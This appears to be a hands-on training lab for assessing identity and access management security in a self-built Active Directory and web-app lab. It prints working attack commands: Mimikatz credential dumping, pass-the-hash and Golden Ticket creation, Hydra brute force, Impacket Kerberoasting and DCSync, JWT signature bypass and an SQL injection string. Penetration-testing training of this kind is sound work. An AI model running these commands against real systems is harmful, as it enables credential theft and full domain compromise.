IAM Security Lab - RFS Cyber Roadmap

Lab Overview

This comprehensive lab exercise will guide you through conducting a complete IAM security assessment, including authentication testing, authorization bypass techniques, privilege escalation, and Active Directory penetration testing. You'll learn to identify and exploit common IAM vulnerabilities while understanding defensive strategies and mitigation techniques.

Duration: 6-8 hours

Difficulty: Intermediate

Prerequisites: Basic Windows/Linux knowledge, networking fundamentals

Environment: Windows Active Directory, Linux servers, web applications

🎯 Learning Objectives

Conduct authentication mechanism security testing
Perform authorization bypass and privilege escalation
Execute Active Directory penetration testing techniques
Test identity federation and SSO implementations
Assess API security and token-based authentication
Implement IAM security monitoring and detection

🏗️ Lab Environment Setup

Prerequisites Installation

                    Required Tools:
                    Kali Linux or Windows with penetration testing tools
BloodHound and PowerView for AD enumeration
Mimikatz for credential extraction
Burp Suite Professional for web app testing
Postman for API testing
Impacket suite for network protocol testing

                

Environment Configuration

1. Set up Active Directory Lab

# Download and configure Windows Server 2019
# Install Active Directory Domain Services
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

# Promote server to domain controller
Install-ADDSForest -DomainName "lab.local" -SafeModeAdministratorPassword (ConvertTo-SecureString "Admin123!" -AsPlainText -Force)

2. Configure Test Users and Groups

# Create test users with different privilege levels
New-ADUser -Name "testuser1" -SamAccountName "testuser1" -UserPrincipalName "testuser1@lab.local" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true

# Create privileged groups
New-ADGroup -Name "Domain Admins" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "Domain Admins" -Members "adminuser"

3. Set up Web Application Targets

# Deploy vulnerable web applications
# DVWA (Damn Vulnerable Web Application)
# WebGoat
# Juice Shop

📋 Lab Exercises

Exercise 1: Active Directory Enumeration

Objective

Enumerate Active Directory environment to understand domain structure, users, groups, and permissions.

Tasks

Perform initial domain reconnaissance
Enumerate domain users and groups
Identify service accounts and privileged users
Map group memberships and permissions
Analyze domain trust relationships

PowerView Commands:

# Import PowerView
Import-Module .\PowerView.ps1

# Get domain information
Get-NetDomain

# Enumerate domain users
Get-NetUser | Select-Object samaccountname,description,lastlogon

# Get domain groups
Get-NetGroup | Select-Object samaccountname,description

# Find privileged groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Enterprise Admins"

# Enumerate computers
Get-NetComputer | Select-Object samaccountname,operatingsystem

Exercise 2: Authentication Security Testing

Objective

Test authentication mechanisms for vulnerabilities and bypass techniques.

Tasks

Perform password brute force attacks
Test account lockout mechanisms
Analyze authentication protocols
Test multi-factor authentication bypass
Examine session management security

Hydra Brute Force Example:

# SSH brute force attack
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target-ip

# SMB brute force attack
hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://target-ip

# Web form brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f http-post-form "target/login.php:username=^USER^&password=^PASS^:Invalid"

Exercise 3: Privilege Escalation Techniques

Objective

Execute privilege escalation attacks on Windows and Linux systems.

Tasks

Perform Windows local privilege escalation
Exploit Linux privilege escalation vectors
Extract and crack password hashes
Perform token impersonation attacks
Exploit service account privileges

Mimikatz Credential Extraction:

# Load Mimikatz
mimikatz.exe

# Extract LSASS memory
sekurlsa::logonpasswords

# Extract Kerberos tickets
sekurlsa::tickets /export

# Pass-the-hash attack
sekurlsa::pth /user:admin /domain:lab.local /ntlm:hash /run:cmd.exe

# Golden Ticket creation
kerberos::golden /user:admin /domain:lab.local /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi

Exercise 4: Active Directory Attack Techniques

Objective

Execute advanced Active Directory attack techniques including Kerberoasting and DCSync.

Tasks

Perform Kerberoasting attacks
Execute ASREPRoasting
Perform DCSync attacks
Exploit ACL-based privilege escalation
Execute Golden Ticket and Silver Ticket attacks

Kerberoasting with Impacket:

# Request service tickets
python3 GetUserSPNs.py lab.local/testuser1:Password123! -dc-ip 192.168.1.10 -request

# Crack service tickets with Hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# ASREPRoasting attack
python3 GetNPUsers.py lab.local/testuser1:Password123! -dc-ip 192.168.1.10 -request

# DCSync attack
python3 secretsdump.py lab.local/testuser1:Password123!@192.168.1.10

Exercise 5: Web Application IAM Testing

Objective

Test web application identity and access management vulnerabilities.

Tasks

Test authentication bypass techniques
Perform authorization testing
Test session management security
Analyze JWT token security
Test OAuth and SSO implementations

JWT Token Manipulation:

# Decode JWT token
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." | base64 -d

# Modify JWT payload
{
  "sub": "1234567890",
  "name": "John Doe",
  "role": "admin",
  "iat": 1516239022
}

# Test JWT signature bypass
# Try "none" algorithm
# Try weak secret keys
# Try algorithm confusion attacks

Exercise 6: API Security Testing

Objective

Test API authentication and authorization mechanisms.

Tasks

Test API key security
Analyze OAuth 2.0 implementations
Test JWT token validation
Perform authorization bypass testing
Test rate limiting and throttling

API Testing with Postman:

# Test API endpoints without authentication
GET /api/users
Authorization: Bearer invalid_token

# Test with different user roles
GET /api/admin/users
Authorization: Bearer user_token

# Test parameter manipulation
GET /api/users?id=1
GET /api/users?id=1' OR '1'='1

# Test HTTP method bypass
POST /api/users (instead of GET)
PUT /api/users (instead of GET)
PATCH /api/users (instead of GET)

🧪 Lab Validation

Security Assessment Checklist

✅ Active Directory enumeration completed

✅ Authentication mechanism testing performed

✅ Privilege escalation techniques demonstrated

✅ Active Directory attack techniques executed

✅ Web application IAM testing completed

✅ API security assessment performed

✅ Credential extraction and cracking

✅ Token manipulation and bypass techniques

Assessment Metrics

Vulnerabilities Found

Target: > 10 critical/high

Privilege Escalation Success

Target: > 80%

Domain Compromise

Target: Domain admin access

Credential Extraction

Target: > 50% of accounts

📚 Additional Resources

BloodHound - Active Directory attack path analysis
PowerSploit - PowerShell penetration testing framework
Mimikatz - Windows credential extraction tool
Impacket - Network protocol testing suite
Kerbrute - Kerberos brute forcing tool
CrackMapExec - Active Directory post-exploitation tool

🧪 IAM Security Assessment Lab

Lab Overview

🎯 Learning Objectives

🏗️ Lab Environment Setup

Prerequisites Installation

Required Tools:

Environment Configuration

1. Set up Active Directory Lab

2. Configure Test Users and Groups

3. Set up Web Application Targets

📋 Lab Exercises

Exercise 1: Active Directory Enumeration

Objective

Tasks

PowerView Commands:

Exercise 2: Authentication Security Testing

Objective

Tasks

Hydra Brute Force Example:

Exercise 3: Privilege Escalation Techniques

Objective

Tasks

Mimikatz Credential Extraction:

Exercise 4: Active Directory Attack Techniques

Objective

Tasks

Kerberoasting with Impacket:

Exercise 5: Web Application IAM Testing

Objective

Tasks

JWT Token Manipulation:

Exercise 6: API Security Testing

Objective

Tasks

API Testing with Postman:

🧪 Lab Validation

Security Assessment Checklist

Assessment Metrics

Vulnerabilities Found

Privilege Escalation Success

Domain Compromise

Credential Extraction

📚 Additional Resources

📧 Stay Updated with New Labs

📈 Lab Progress